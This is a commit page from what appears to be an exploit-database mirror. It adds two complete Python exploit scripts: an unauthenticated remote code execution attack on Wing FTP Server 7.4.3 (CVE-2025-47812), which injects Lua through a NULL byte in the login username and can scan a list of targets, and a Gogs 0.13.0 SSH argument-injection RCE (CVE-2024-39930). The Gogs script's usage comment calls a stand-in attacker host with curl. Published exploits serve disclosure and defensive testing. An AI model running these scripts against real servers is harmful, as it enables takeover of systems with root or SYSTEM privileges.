Skip to content

Commit 6efbd2e

Browse files
author
certcc-ghbot
committed
Merge remote-tracking branch 'upstream/main'
2 parents 0a19f55 + 83f6bce commit 6efbd2e

5 files changed

Lines changed: 696 additions & 0 deletions

File tree

exploits/multiple/remote/52347.py

Lines changed: 179 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,179 @@
1+
# Exploit Title: Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution (RCE)
2+
# CVE: CVE-2025-47812
3+
# Date: 2025-06-30
4+
# Exploit Author: Sheikh Mohammad Hasan aka 4m3rr0r (https://github.com/4m3rr0r)
5+
# Vendor Homepage: https://www.wftpserver.com/
6+
# Version: Wing FTP Server <= 7.4.3
7+
# Tested on: Linux (Root Privileges), Windows (SYSTEM Privileges)
8+
9+
# Description:
10+
# Wing FTP Server versions prior to 7.4.4 are vulnerable to an unauthenticated remote code execution (RCE)
11+
# flaw (CVE-2025-47812). This vulnerability arises from improper handling of NULL bytes in the 'username'
12+
# parameter during login, leading to Lua code injection into session files. These maliciously crafted
13+
# session files are subsequently executed when authenticated functionalities (e.g., /dir.html) are accessed,
14+
# resulting in arbitrary command execution on the server with elevated privileges (root on Linux, SYSTEM on Windows).
15+
# The exploit leverages a discrepancy between the string processing in c_CheckUser() (which truncates at NULL)
16+
# and the session creation logic (which uses the full unsanitized username).
17+
18+
# Proof-of-Concept (Python):
19+
# The provided Python script automates the exploitation process.
20+
# It injects a NULL byte followed by Lua code into the username during a POST request to loginok.html.
21+
# Upon successful authentication (even anonymous), a UID cookie is returned.
22+
# A subsequent GET request to dir.html using this UID cookie triggers the execution of the injected Lua code,
23+
# leading to RCE.
24+
25+
26+
import requests
27+
import re
28+
import argparse
29+
30+
# ANSI color codes
31+
RED = "\033[91m"
32+
GREEN = "\033[92m"
33+
RESET = "\033[0m"
34+
35+
def print_green(text):
36+
print(f"{GREEN}{text}{RESET}")
37+
38+
def print_red(text):
39+
print(f"{RED}{text}{RESET}")
40+
41+
def run_exploit(target_url, command, username="anonymous", verbose=False):
42+
login_url = f"{target_url}/loginok.html"
43+
44+
login_headers = {
45+
"Host": target_url.split('//')[1].split('/')[0],
46+
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0",
47+
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
48+
"Accept-Language": "en-US,en;q=0.5",
49+
"Accept-Encoding": "gzip, deflate, br",
50+
"Content-Type": "application/x-www-form-urlencoded",
51+
"Origin": target_url,
52+
"Connection": "keep-alive",
53+
"Referer": f"{target_url}/login.html?lang=english",
54+
"Cookie": "client_lang=english",
55+
"Upgrade-Insecure-Requests": "1",
56+
"Priority": "u=0, i"
57+
}
58+
59+
60+
from urllib.parse import quote
61+
encoded_username = quote(username)
62+
63+
payload = (
64+
f"username={encoded_username}%00]]%0dlocal+h+%3d+io.popen(\"{command}\")%0dlocal+r+%3d+h%3aread(\"*a\")"
65+
"%0dh%3aclose()%0dprint(r)%0d--&password="
66+
)
67+
68+
if verbose:
69+
print_green(f"[+] Sending POST request to {login_url} with command: '{command}' and username: '{username}'")
70+
71+
try:
72+
login_response = requests.post(login_url, headers=login_headers, data=payload, timeout=10)
73+
login_response.raise_for_status()
74+
except requests.exceptions.RequestException as e:
75+
print_red(f"[-] Error sending POST request to {login_url}: {e}")
76+
return False
77+
78+
set_cookie = login_response.headers.get("Set-Cookie", "")
79+
match = re.search(r'UID=([^;]+)', set_cookie)
80+
81+
if not match:
82+
print_red("[-] UID not found in Set-Cookie. Exploit might have failed or response format changed.")
83+
return False
84+
85+
uid = match.group(1)
86+
if verbose:
87+
print_green(f"[+] UID extracted: {uid}")
88+
89+
dir_url = f"{target_url}/dir.html"
90+
dir_headers = {
91+
"Host": login_headers["Host"],
92+
"User-Agent": login_headers["User-Agent"],
93+
"Accept": login_headers["Accept"],
94+
"Accept-Language": login_headers["Accept-Language"],
95+
"Accept-Encoding": login_headers["Accept-Encoding"],
96+
"Connection": "keep-alive",
97+
"Cookie": f"UID={uid}",
98+
"Upgrade-Insecure-Requests": "1",
99+
"Priority": "u=0, i"
100+
}
101+
102+
if verbose:
103+
print_green(f"[+] Sending GET request to {dir_url} with UID: {uid}")
104+
105+
try:
106+
dir_response = requests.get(dir_url, headers=dir_headers, timeout=10)
107+
dir_response.raise_for_status()
108+
except requests.exceptions.RequestException as e:
109+
print_red(f"[-] Error sending GET request to {dir_url}: {e}")
110+
return False
111+
112+
body = dir_response.text
113+
clean_output = re.split(r'<\?xml', body)[0].strip()
114+
115+
if verbose:
116+
print_green("\n--- Command Output ---")
117+
print(clean_output)
118+
print_green("----------------------")
119+
else:
120+
if clean_output:
121+
print_green(f"[+] {target_url} is vulnerable!")
122+
else:
123+
print_red(f"[-] {target_url} is NOT vulnerable.")
124+
125+
return bool(clean_output)
126+
127+
def main():
128+
parser = argparse.ArgumentParser(description="Exploit script for command injection via login.html.")
129+
parser.add_argument("-u", "--url", type=str,
130+
help="Target URL (e.g., http://192.168.134.130). Required if -f not specified.")
131+
parser.add_argument("-f", "--file", type=str,
132+
help="File containing list of target URLs (one per line).")
133+
parser.add_argument("-c", "--command", type=str,
134+
help="Custom command to execute. Default: whoami. If specified, verbose output is enabled automatically.")
135+
parser.add_argument("-v", "--verbose", action="store_true",
136+
help="Show full command output (verbose mode). Ignored if -c is used since verbose is auto-enabled.")
137+
parser.add_argument("-o", "--output", type=str,
138+
help="File to save vulnerable URLs.")
139+
parser.add_argument("-U", "--username", type=str, default="anonymous",
140+
help="Username to use in the exploit payload. Default: anonymous")
141+
142+
args = parser.parse_args()
143+
144+
if not args.url and not args.file:
145+
parser.error("Either -u/--url or -f/--file must be specified.")
146+
147+
command_to_use = args.command if args.command else "whoami"
148+
verbose_mode = True if args.command else args.verbose
149+
150+
vulnerable_sites = []
151+
152+
targets = []
153+
if args.file:
154+
try:
155+
with open(args.file, 'r') as f:
156+
targets = [line.strip() for line in f if line.strip()]
157+
except Exception as e:
158+
print_red(f"[-] Could not read target file '{args.file}': {e}")
159+
return
160+
else:
161+
targets = [args.url]
162+
163+
for target in targets:
164+
print(f"\n[*] Testing target: {target}")
165+
is_vulnerable = run_exploit(target, command_to_use, username=args.username, verbose=verbose_mode)
166+
if is_vulnerable:
167+
vulnerable_sites.append(target)
168+
169+
if args.output and vulnerable_sites:
170+
try:
171+
with open(args.output, 'w') as out_file:
172+
for site in vulnerable_sites:
173+
out_file.write(site + "\n")
174+
print_green(f"\n[+] Vulnerable sites saved to: {args.output}")
175+
except Exception as e:
176+
print_red(f"[-] Could not write to output file '{args.output}': {e}")
177+
178+
if __name__ == "__main__":
179+
main()

exploits/multiple/remote/52348.py

Lines changed: 194 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,194 @@
1+
# Exploit Title: gogs 0.13.0 - Remote Code Execution (RCE)
2+
# Date: 27th June, 2025
3+
# Exploit Author: Ardayfio Samuel Nii Aryee
4+
# Software link: https://github.com/gogs/gogs.git
5+
# Version: gogs <=0.13.0
6+
# Tested on: Ubuntu
7+
# CVE: CVE-2024-39930
8+
9+
10+
# ===============================
11+
# Example Usage:
12+
# python3 exploit.py http://gogs.local:3000 alice:password123 ~/.ssh/id_rsa ~/.ssh/id_rsa.pub "touch /tmp/pwned"
13+
# python3 exploit.py http://gogs.local:3000 alice:password123 ~/.ssh/id_rsa ~/.ssh/id_rsa.pub "curl http://atacker.com" --ssh-port 2222
14+
# ===============================
15+
16+
import requests
17+
import paramiko
18+
import base64
19+
import random
20+
import string
21+
import sys
22+
import argparse
23+
from urllib.parse import urlparse
24+
25+
API_BASE_URL = ""
26+
27+
def generate_random_string(length=8, charset=None):
28+
if charset is None:
29+
charset = string.ascii_letters + string.digits
30+
return ''.join(random.choices(charset, k=length))
31+
32+
def make_headers(token=None, basic_auth=None):
33+
headers = {"Content-Type": "application/json"}
34+
if token:
35+
headers["Authorization"] = f"token {token}"
36+
elif basic_auth:
37+
b64 = base64.b64encode(basic_auth.encode()).decode()
38+
headers["Authorization"] = f"Basic {b64}"
39+
return headers
40+
41+
def http_post(path, json=None, headers=None):
42+
url = f"{API_BASE_URL}{path}"
43+
response = requests.post(url, json=json, headers=headers)
44+
response.raise_for_status()
45+
return response
46+
47+
def http_get(path, headers=None):
48+
url = f"{API_BASE_URL}{path}"
49+
response = requests.get(url, headers=headers)
50+
response.raise_for_status()
51+
return response
52+
53+
def http_delete(path, headers=None):
54+
url = f"{API_BASE_URL}{path}"
55+
response = requests.delete(url, headers=headers)
56+
response.raise_for_status()
57+
return response
58+
59+
def obtain_api_token(username, password):
60+
auth = f"{username}:{password}"
61+
headers = make_headers(basic_auth=auth)
62+
data = {"name": generate_random_string()}
63+
64+
try:
65+
response = http_post(f"/users/{username}/tokens", json=data, headers=headers)
66+
token = response.json()['sha1']
67+
print(f"[+] API Token Acquired: {token}")
68+
return token
69+
except Exception as e:
70+
print(f"[!] Failed to obtain API token: {e}")
71+
sys.exit(1)
72+
73+
def create_repo(token):
74+
repo_name = generate_random_string()
75+
headers = make_headers(token=token)
76+
data = {
77+
"name": repo_name,
78+
"description": "Auto-created repository",
79+
"private": False
80+
}
81+
82+
try:
83+
response = http_post("/user/repos", json=data, headers=headers)
84+
full_name = response.json()['full_name']
85+
print(f"[+] Repository Created: {full_name}")
86+
return full_name
87+
except Exception as e:
88+
print(f"[!] Failed to create repository: {e}")
89+
sys.exit(1)
90+
91+
def delete_existing_ssh_keys(token):
92+
headers = make_headers(token=token)
93+
try:
94+
response = http_get("/user/keys", headers=headers)
95+
keys = response.json()
96+
for key in keys:
97+
key_id = key['id']
98+
http_delete(f"/user/keys/{key_id}", headers=headers)
99+
print(f"[+] Deleted SSH Key ID: {key_id}")
100+
except Exception as e:
101+
print(f"[!] Failed to delete existing SSH keys: {e}")
102+
sys.exit(1)
103+
104+
def add_ssh_key(public_key_path, token):
105+
delete_existing_ssh_keys(token)
106+
107+
try:
108+
with open(public_key_path, 'r') as f:
109+
key = f.read()
110+
except Exception as e:
111+
print(f"[!] Failed to read public key file: {e}")
112+
sys.exit(1)
113+
114+
headers = make_headers(token=token)
115+
data = {
116+
"title": generate_random_string(),
117+
"key": key
118+
}
119+
120+
try:
121+
response = http_post("/user/keys", json=data, headers=headers)
122+
print(f"[+] SSH Key Added: {response.status_code}")
123+
except Exception as e:
124+
print(f"[!] Failed to add SSH key: {e}")
125+
sys.exit(1)
126+
127+
def exploit(ssh_user, ssh_host, ssh_port, private_key_path, repo_path, command):
128+
try:
129+
key = paramiko.RSAKey.from_private_key_file(private_key_path)
130+
except Exception as e:
131+
print(f"[!] Failed to load SSH key: {e}")
132+
sys.exit(1)
133+
134+
try:
135+
client = paramiko.SSHClient()
136+
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
137+
client.connect(hostname=ssh_host, port=int(ssh_port), username=ssh_user, pkey=key)
138+
139+
session = client.get_transport().open_session()
140+
141+
print("[+] Executing command...... ")
142+
session.set_environment_variable("--split-string", command)
143+
session.exec_command(f"git-upload-pack {repo_path}")
144+
145+
stdout = session.makefile('rb', 1024)
146+
stderr = session.makefile_stderr('rb', 1024)
147+
148+
print("STDERR:", stderr.read().decode())
149+
print("STDOUT:", stdout.read().decode())
150+
151+
session.close()
152+
client.close()
153+
except Exception as e:
154+
print(f"[!] Error: {e}")
155+
sys.exit(1)
156+
157+
def main():
158+
global API_BASE_URL
159+
160+
parser = argparse.ArgumentParser(description="Exploit Gogs SSH argument injection (CVE-2024-39930)")
161+
parser.add_argument("url", help="Gogs application URL (e.g., http://skillforge.lab:3000)")
162+
parser.add_argument("auth", help="Gogs credentials in the format username:password")
163+
parser.add_argument("private_key", help="Path to private SSH key")
164+
parser.add_argument("public_key", help="Path to public SSH key")
165+
parser.add_argument("command", help="Command to execute remotely")
166+
parser.add_argument("--ssh-port", type=int, default=None, help="Optional: custom SSH port to use")
167+
args = parser.parse_args()
168+
169+
parsed_url = urlparse(args.url)
170+
API_BASE_URL = f"{parsed_url.scheme}://{parsed_url.netloc}/api/v1"
171+
ssh_host = parsed_url.hostname
172+
ssh_port = args.ssh_port if args.ssh_port else (parsed_url.port or 22)
173+
174+
try:
175+
username, password = args.auth.split(":")
176+
except ValueError:
177+
print("[!] Invalid format for auth argument")
178+
sys.exit(1)
179+
180+
token = obtain_api_token(username, password)
181+
repo_path = create_repo(token)
182+
add_ssh_key(args.public_key, token)
183+
184+
exploit(
185+
ssh_user=username,
186+
ssh_host=ssh_host,
187+
ssh_port=ssh_port,
188+
private_key_path=args.private_key,
189+
repo_path=repo_path,
190+
command=args.command
191+
)
192+
193+
if __name__ == "__main__":
194+
main()

0 commit comments

Comments
 (0)